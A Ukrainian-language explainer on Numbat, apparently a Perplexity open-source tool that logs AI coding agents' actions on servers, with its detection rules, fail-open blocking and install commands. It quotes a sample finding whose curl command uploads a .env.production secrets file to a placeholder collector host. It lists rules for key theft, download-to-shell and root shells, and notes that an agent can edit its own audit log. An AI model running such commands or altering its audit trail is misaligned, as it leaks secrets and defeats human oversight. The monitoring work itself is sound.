Numbat: як бачити дії AI-агентів на сервері
Perplexity відкрила Numbat, який записує дії AI coding agents на серверах. Дізнайтеся, що він бачить, як працює з hook-подіями та чого не блокує.
Що таке Numbat
Numbat дає змогу бачити, що AI-агент робив на вашій машині. Він читає callback-и hook-ів і файли сеансів, які вже створюють coding agents, нормалізує їх до єдиного формату подій і зіставляє їх із правилами. Правила спрацьовують на такі дії, як читання приватного ключа SSH або передавання завантаження безпосередньо в shell. Perplexity випустила Numbat як open source за ліцензією Apache 2.0. Перший tagged release вийшов 29 July 2026.
Усе наведене нижче взято з repository проєкту та його власної документації, опрацьованих 2 August 2026. Історію релізів, вимоги до встановлення, схему записів і перелік підтримуваних агентів додатково перевірено за repository 12 October 2026. Якщо Perplexity робить певне твердження, у цьому матеріалі це зазначено. Це не інструкція зі встановлення, оскільки repository ще молодий, а його команди змінюватимуться.
Проблема: ніхто не записує, що саме робив агент
Coding agent на вашому VPS виконує shell-команди, читає файли, записує файли та відкриває network-з’єднання від імені користувача, якого ви йому надали. Історія shell не записує жодної з цих дій, оскільки агент не вводить команди у вашій shell-сесії. sshd записує ваш вхід у систему, але не фіксує нічого з того, що модель вирішила виконати після цього. /var/log/auth.log не створює записів, якщо не було звернення до sudo. Агент зберігає власний transcript, але цей файл розміщено в каталозі сесії агента, його формат змінюється між релізами, а сам процес агента може записувати до нього.
Тому коли хтось запитує, чи читав агент .env.production минулого вівторка, чесна відповідь для більшості серверів полягає в тому, що це неможливо визначити. Саме через цю прогалину існує цей проєкт.
Що, за твердженням Perplexity, робить Numbat
README починається з опису цього інструмента як засобу «видимості активності AI-агентів на кінцевій точці з локальним виявленням, необов’язковим блокуванням до виконання дії та криміналістичною реконструкцією». Кінцева точка тут означає машину, на якій працює агент, а не мережевий пристрій, що спостерігає ззовні. Це окремі можливості, і кожна має різну практичну вагу.
Виявлення виконується на пристрої. Правила записують мовою CEL (common expression language) і локально обчислюють. Поверх них підтримуються правила послідовностей із кількох кроків, а власні правила можна задавати у YAML. Для спрацювання правила дані не повинні залишати машину.
Блокування є необов’язковим і має вузьку сферу застосування. Воно працює лише через синхронні pre-action hooks і тільки для агентів, які їх підтримують. За замовчуванням ця функція вимкнена.
Реконструкція виконується після події. numbat scan аналізує артефакти сесій, які агент уже записав на диск, тому можна переглядати активність, що відбулася до встановлення інструмента. Проєкт чітко обмежує це твердження: «Реконструкція даних у стані спокою не є отриманням образу диска або пам’яті та не може відновити активність, яку агент не зберіг».
Результати мають версію і записуються у форматі NDJSON (JSON із роздільником нового рядка). Вони охоплюють події, результати виявлення, рішення щодо застосування політик, індикатори та підсумки сканування. Станом на v0.1.2 використовується версія схеми 0.2.0. Відтоді схема змінилася: 12 October 2026 у репозиторії були версії схем 0.2.0, 0.3.0 і 0.4.0, а приклади записів у README містили версію 0.4.0. Записи надходять у stdout або локальний файл, а також, за потреби, через HTTP до collector, яким ви керуєте. Інструмент постачається як один статичний Go binary, зібраний без cgo, для macOS, Linux і Windows на amd64 та arm64. Тому на Linux VPS це один файл, для роботи якого спочатку не потрібно встановлювати runtime.
Які агенти насправді бачить Numbat?
Матриця сумісності в docs/agent-coverage.md є авторитетним переліком, але підтримка різниться. Проєкт прямо це зазначає і не приховує обмежень. Claude Code, Codex, Gemini CLI, Cursor і GitHub Copilot CLI підтримують сканування артефактів і захоплення даних у реальному часі за допомогою pre-action hook. Починаючи з версії 2026.7.1, для OpenClaw доступний native plugin. Для значної кількості інших записів указано deferred. Це означає, що шлях для live hook існує, але парсера артефактів немає. Часто причина в тому, що агент зберігає історію в SQLite із write-ahead log, який небезпечно читати під час роботи агента. Cline CLI належить до цієї групи: його live hooks працюють, але SQLite-сесії не обробляються. OpenCode має змішану підтримку. Матриця версії v0.1.2 обробляє попередні JSON-сховища та відкладає лише поточну базу даних opencode.db. У ній не зазначено pre-action enforcement для OpenCode. Станом на 12 October 2026 матриця у гілці main усе ще мала такий вигляд.
Перевірте рядок свого агента, перш ніж планувати використання цього інструмента, оскільки слово «підтримується» майже в кожному рядку має інше значення.
Як виглядає виявлення
Правила мають ідентифікатори, які вказують на їхнє призначення. secrets.read_private_key охоплює SSH-ключ, облікові дані AWS, конфігурацію kube або дані входу до реєстру пакетів. exec.download_pipe_shell спрацьовує, коли вивід curl або wget передається через pipe інтерпретатору. privilege.elevated_shell виявляє запит на інтерактивну root-оболонку через sudo, doas, su або pkexec. impact.cryptomining_launch зіставляється з відомими бінарними файлами майнерів і назвами образів.
Послідовні правила об’єднують події в межах одного сеансу. chain.secret_read_then_egress потребує читання файла із секретом, після якого виконується команда, що передає дані назовні. У README наведено наведений нижче результат виявлення, отриманий під час контрольного відтворення двох callback-функцій Claude Code pre-action, а не під час реального інциденту. Тут залишено лише важливі поля:
{
"record_type": "finding",
"rule_id": "chain.secret_read_then_egress",
"rule_version": "1.4",
"severity": "high",
"confidence": "medium",
"title": "Secret-file access followed by data-bearing egress",
"observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
"source_agent": "claude-code",
"source_type": "hook",
"tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}Зверніть увагу на "confidence": "medium" усередині запису, а також на формулювання про весь цей клас виводу в документації проєкту: «Результати виявлення — це збіги з правилами, а не доказ компрометації». Скрипт розгортання, який читає ключ, а потім завантажує артефакт збірки, відповідатиме тому самому правилу послідовності. Збіг правильний, а тривога помилкова. Саме так зазвичай працює кожен інструмент виявлення, який ви коли-небудь запускали.
Блокування вимкнено за замовчуванням, а в разі збою система пропускає дію
Кожне правило, яке постачає Numbat, працює лише в режимі моніторингу. Перетворення правила на правило блокування потребує окремих дій: скопіюйте повний YAML правила до власного каталогу, залиште той самий id, додайте enforce: true, збільште версію, а потім перевірте й установіть цю політику.
numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
--rules-dir ./numbat-policy --enforceТепер розглянемо, наскільки можна на це покладатися. deny у Numbat — це відповідь, яку він передає агенту, а саме агент фактично відхиляє виклик інструмента. У посібнику з enforcement прямо зазначено, що відбувається, коли сам Numbat має проблему: «Неправильні payload, відповідні помилки оцінювання, panic і помилки виведення скасовують deny від numbat». Вхідні дані hook обмежені 4 MiB, і надто великі дані обробляються тим самим шляхом.
У посібнику так само чітко описано обмеження deny, який усе ж було передано: «Fail-open означає, що numbat не надсилає відповідь deny. Це не гарантує виконання інструмента: host усе ще може запитати підтвердження, відхилити дію, перервати її через тайм-аут або застосувати інший hook чи політику».
Отже, enforcement тут є запобіжним механізмом, а не межею безпеки. Якщо процес аварійно завершується, Numbat не блокує дію, оскільки моніторинг, який щоразу зупиняє agent через власний збій, видалять протягом тижня. Такий компроміс є обґрунтованим. Але не будуйте модель безпеки з припущенням, що deny надходить завжди.
Що Numbat додає до вже наявних засобів
Numbat працює на кінцевій системі, у власному дереві процесів агента, і за замовчуванням записує дані до ~/.numbat/records.ndjson. Агент, запущений від імені вашого користувача, може читати цей файл. Він також може редагувати його. Аудит має рівно таку цінність, як і ізоляція навколо нього. Тому всі наявні засоби контролю потрібно застосовувати перед ним, а не покладатися на них після його спрацювання.
Надання coding agent одноразової VM обмежує ресурси, до яких може дістатися небезпечний запуск. Користувач із мінімальними привілеями на VPS не дає агенту доступу до файлів, які йому не потрібно відкривати. Зберігання облікових даних поза контекстом агента робить secrets.read_private_key достатньо рідкісною подією, щоб перевіряти її журнал під час спрацювання. А sandbox, налаштований для Claude Code на VPS, і далі забезпечує ізоляцію. Ізоляція обмежує те, чого може торкнутися небезпечний запуск, а документування причин вибору структури коду зменшує ймовірність неочікуваної дії агента, через яку доведеться звертатися до журналу.
Numbat додає журнал подій, тому надсилайте його туди, куди агент не має доступу. Для цього призначені numbat ship і HTTP sink. Копія потоку на другій машині перетворює файл журналу на доказ. Модель подій також містить поля MCP (model context protocol). Тому виклики інструментів через MCP server, розгорнутий вами на VPS, потрапляють до того самого потоку, що й локальні команди shell. Це важливо, оскільки такий шлях невидимий для засобів, які відстежують лише bash. Та сама прогалина стосується екземпляра SearXNG, підключеного як пошуковий бекенд агента, де ризик надходить як недовірений текст вебсторінки, що потрапляє в контекст моделі, а не як команда, яку може виявити будь-яке правило.
Спочатку перевірте в режимі лише читання
Установіть зафіксовану версію. Наведена нижче команда фіксує v0.1.2. У README для цієї версії вказано Go 1.26.5 або новішої версії. У README для main станом на 12 October 2026 вказано Go 1.26.6 або новішої версії. Цю вимогу додали у v0.2.0. Тому, якщо ви фіксуєте новіший тег, використовуйте 1.26.6. На сторінці releases доступні попередньо зібрані бінарні файли із SHA-256 контрольними сумами, якщо ви не хочете збирати програму з вихідного коду.
go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scannumbat agents виявляє agents, установлені в системі. numbat scan аналізує артефакти сеансів, які вже збережені на диску, і виводить записи. У README зазначено, що ці команди «не встановлюють hooks і не змінюють конфігурацію agent», а numbat «ніколи не запускає agents або команди, знайдені в артефактах, і виконує вихідні запити лише до налаштованих HTTP sinks». Сканування виконується в режимі лише читання із приховуванням секретів, а звичайний вивід записів ніколи не містить повної необробленої стенограми.
Наступний крок — захоплення подій у реальному часі. Воно змінює конфігурацію agent:
numbat hook install --agent codex --emit all
numbat hook status --agent codex--emit all записує події, результати перевірок, індикатори та застосовні рішення щодо enforcement у ~/.numbat/records.ndjson. Проєкт прямо містить два застереження. Перед запуском hooks може знадобитися надати їм довіру в agent. Після зміни таких flags, як --enforce, цю довіру потрібно перевірити повторно. Крім того, hook status «перевіряє конфігурацію, а не виконання або доставлення», тому повідомлення про справний стан не доводить, що записи кудись надходять.
Чому такий новий репозиторій не може бути залежністю
Станом на 12 October 2026 публічні релізи — v0.1.1 від 29 July 2026, v0.1.2 від 1 August 2026 і v0.2.0 від 17 August 2026. Сторінка релізів позначає v0.2.0 як найновіший. На момент написання цієї публікації, 2 August 2026, репозиторій мав 597 зірок. Така швидка динаміка відображає аудиторію Perplexity, а не надійність коду. Зірка означає, що хтось зберіг сторінку, щоб переглянути її пізніше.
Номер версії чесно показує стан проєкту. Примітки до v0.1.2 стосуються переважно виправлень редагування облікових даних, а також нормалізації пакетів кейсів і телеметрії. У примітках до v0.2.0 додано обмежене збирання вмісту повідомлень, примусове читання файлів у Cursor через його хук beforeReadFile і додаткові виправлення редагування даних. Помилки редагування даних — очікуваний тип ранніх дефектів інструмента, який має безпечно читати транскрипти інших програм. Таких помилок буде більше, оскільки вхідні дані надходять від десятка агентів, кожен з яких змінює свій формат за власним графіком.
З цього випливають два практичні правила. У всьому, що ви зберігаєте, фіксуйте tag, а не @latest. Також розглядайте цей інструмент як засіб, який ви оцінюєте, а не як елемент керування, від якого залежитьте, принаймні доки схема записів не перестане змінюватися. Цього ще не сталося: приблизно за десять тижнів версія змінилася з 0.2.0 у v0.1.2 до 0.4.0 у README гілки main.
FAQ
Чи блокує Numbat небезпечні команди AI-агентів?
Лише якщо ви явно вмикаєте цю функцію, і лише за принципом best effort. Усі правила, з якими постачається Numbat, працюють тільки в режимі моніторингу. Щоб блокувати виконання, скопіюйте YAML правила у власний каталог, збережіть його id, додайте enforce: true, збільште версію та встановіть hook за допомогою --enforce. Навіть у такому разі deny передається агенту як відповідь, а саме агент відмовляється виконувати виклик. У документації проєкту описано режим fail-open: некоректні payload, помилки оцінювання, panic і помилки виведення скасовують deny. Використовуйте цей механізм як додатковий бар’єр, а не як єдиний засіб захисту.
Які AI-агенти підтримує Numbat?
Набір підтримуваних агентів відрізняється, і його наведено в docs/agent-coverage.md репозиторію. Claude Code, Codex, Gemini CLI, Cursor і GitHub Copilot CLI підтримували і сканування артефактів, і захоплення даних у реальному часі на момент перевірки цієї сторінки 2 August 2026; OpenClaw має native plugin починаючи з версії 2026.7.1. Для багатьох інших агентів указано шлях до live hook, але parser артефактів ще відсутній. Зазвичай це пов’язано з тим, що історія сесії зберігається в базі даних SQLite, яку небезпечно читати під час роботи агента. Перегляньте рядок для свого агента, оскільки слово "підтримується" там охоплює кілька різних рівнів підтримки.
Чи може агент змінювати записи Numbat?
Так, якщо він працює від імені того самого користувача. За замовчуванням записи зберігаються в ~/.numbat/records.ndjson на тій самій машині, що й агент, тому будь-який процес із правом запису до цього шляху може змінити або видалити їх. Передавайте потік до collector, до якого агент не має доступу, за допомогою numbat ship або HTTP sink, а локальний файл залиште як додаткову копію. Саме тому цей інструмент доповнює ізоляцію, а не замінює її. Агент, обмежений у disposable VM і запущений від імені користувача з мінімальними привілеями, має значно менше можливостей впливати на власний audit trail.
Чи готовий Numbat для production-сервера?
Не як засіб контролю, від якого можна залежати. Перший public release був v0.1.1 29 July 2026, потім вийшов v0.1.2 1 August 2026, а v0.2.0 — 17 August 2026. Станом на 12 October 2026 схема записів у README вже досягла версії 0.4.0, тому і flags, і схема записів досі змінюються. Запуск numbat agents і numbat scan на сервері виконує операції лише на читання та має низький ризик. Він покаже, які дані ваші агенти залишають на диску. Встановлення enforcement hooks на важливому сервері — інше рішення. Для нього потрібні зафіксований tag і план дій на випадок некоректної роботи hook.